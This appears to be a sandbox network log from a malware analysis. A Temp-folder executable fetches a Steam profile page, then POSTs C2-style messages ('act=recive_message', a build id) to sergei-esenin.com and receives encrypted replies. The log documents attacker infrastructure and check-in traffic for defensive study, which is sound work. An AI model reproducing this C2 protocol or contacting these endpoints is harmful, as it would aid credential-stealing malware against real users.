2024-10-24 06:38:19 UTC	1369	IN	Data Raw: 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d Data Ascii: n-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElem
2024-10-24 06:38:19 UTC	1369	IN	Data Raw: 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ccess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 06:38:19 UTC	901	IN	Data Raw: 30 2e 37 31 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 Data Ascii: 0.71</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-la
2024-10-24 06:38:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	61016	104.102.49.254	443	6148	C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:38:32 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 06:38:33 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 06:38:32 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=ebc308d98aa9a096fd906b91; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 06:38:33 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 06:38:33 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	61065	104.102.49.254	443	5800	C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:39:08 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 06:39:08 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 06:39:08 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=b290d24efbe377549095dd3d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 06:39:08 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 06:39:08 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 06:39:08 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 06:39:08 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	61076	104.21.53.8	443	5800	C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:39:09 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 06:39:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 06:39:09 UTC	558	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 06:39:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rc%2FbBRrnQEwcednxMK08qa6zRrjCo535lOaNozE4xQcnbVDMGLyCisVJRvyTiaDIl9E9Bkgd0UFNlOHYNBgYLspPUUAU3HbJd1YGSBJ%2Bnbxa8cf3oOYrrRiHcXL0yreemQN5ag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d77f7d5df39e77d-DFW
2024-10-24 06:39:09 UTC	811	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 06:39:09 UTC	1369	IN	Data Raw: 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 Data Ascii: styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementByI
2024-10-24 06:39:09 UTC	1369	IN	Data Raw: 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 06:39:09 UTC	895	IN	Data Raw: 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 Data Ascii: span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing"
2024-10-24 06:39:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	61079	104.21.53.8	443	5800	C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:39:10 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=ca4LmIqmfV7EI4AhP2xtVhYdzINmXzTt_uXuxrBg5VQ-1729751949-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 06:39:10 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 06:39:11 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:39:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bstegkcpn01l6hnpbi4fe75si8; expires=Mon, 17 Feb 2025 00:25:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HU0HRugG7l59XiYivGSiNmQYtZIMzEDXAvsLWbXShQgDVbZmZKxIeD73l4iwWE43vwgbnVxAhJcQqDVJ8dKeTUG%2Fo35djhfo%2FTg0EEXaINcNqs5ublSKXyARzJVDsWShtxj7cQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d77f7dbe9312fd0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1088&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=2604316&cwnd=251&unsent_bytes=0&cid=a155e37021c9bfc2&ts=512&x=0"
2024-10-24 06:39:11 UTC	355	IN	Data Raw: 31 35 30 64 0d 0a 78 2f 57 76 55 6c 6c 77 72 49 77 57 48 77 35 31 6e 43 41 77 76 62 57 6a 6a 74 4a 34 54 2b 46 6a 2f 56 66 4d 67 37 6a 72 74 6f 75 38 31 39 6c 77 59 30 53 41 72 6d 56 36 4c 45 2f 6f 55 6b 58 59 6d 59 48 76 74 6c 70 31 68 77 4b 52 4a 4b 6d 76 6d 70 33 62 71 66 32 54 7a 6a 34 71 46 59 43 75 63 32 63 73 54 38 64 62 45 74 6a 62 67 62 54 77 48 53 57 44 41 70 45 31 72 65 6a 58 6d 39 72 6f 72 35 6e 49 4f 6a 77 54 79 4f 31 36 63 6d 73 51 2b 55 46 61 30 39 7a 4f 35 72 39 61 59 38 4d 47 68 33 58 32 6f 66 57 4f 77 75 71 4b 6c 4e 77 35 65 77 32 41 39 7a 52 36 59 46 65 6d 41 6c 48 59 31 38 2f 6f 74 68 4d 6e 69 51 75 5a 4e 4b 6a 70 79 49 4c 51 34 36 2b 58 79 7a 73 32 47 74 7a 67 63 48 56 67 46 76 4e 42 45 70 47 58 78 76 54 77 51 6d 33 51 4d 35 77 6b 76 Data Ascii: 150dx/WvUllwrIwWHw51nCAwvbWjjtJ4T+Fj/VfMg7jrtou819lwY0SArmV6LE/oUkXYmYHvtlp1hwKRJKmvmp3bqf2Tzj4qFYCuc2csT8dbEtjbgbTwHSWDApE1rejXm9ror5nIOjwTyO16cmsQ+UFa09zO5r9aY8MGh3X2ofWOwuqKlNw5ew2A9zR6YFemAlHY18/othMniQuZNKjpyILQ46+Xyzs2GtzgcHVgFvNBEpGXxvTwQm3QM5wkv
2024-10-24 06:39:11 UTC	1369	IN	Data Raw: 38 37 38 66 48 5a 6e 45 75 78 4a 57 39 4c 61 77 65 47 36 46 53 36 44 42 70 55 2f 6f 65 76 65 68 4e 6e 76 70 5a 65 4e 66 6e 73 56 31 71 34 73 50 55 38 53 37 6b 56 65 79 5a 58 37 72 4b 39 55 4e 4d 4d 47 6b 33 58 32 6f 64 4b 4d 31 2b 71 75 6d 4d 34 34 4d 41 44 4f 2f 48 4a 77 61 51 58 34 52 31 7a 56 31 4e 50 6d 76 68 77 75 69 67 71 57 4d 4b 6e 6c 6d 73 65 55 37 72 33 58 6c 58 41 61 48 38 58 69 66 6d 70 73 56 2b 45 4d 53 35 2f 51 7a 61 7a 6f 57 69 6d 43 42 5a 34 78 6f 4f 2f 65 68 64 4c 6e 71 4a 6a 4c 4f 6a 73 56 78 4f 5a 38 66 47 45 63 38 55 4a 58 30 74 50 48 34 4c 45 66 62 63 31 42 6d 43 33 75 75 5a 71 6e 30 2b 71 33 31 66 67 7a 4e 52 7a 4a 2b 44 52 69 49 67 36 2b 52 56 36 66 6a 34 48 69 74 52 55 2f 67 68 4f 61 4f 37 7a 74 33 34 2f 5a 36 71 75 58 79 44 63 32 Data Ascii: 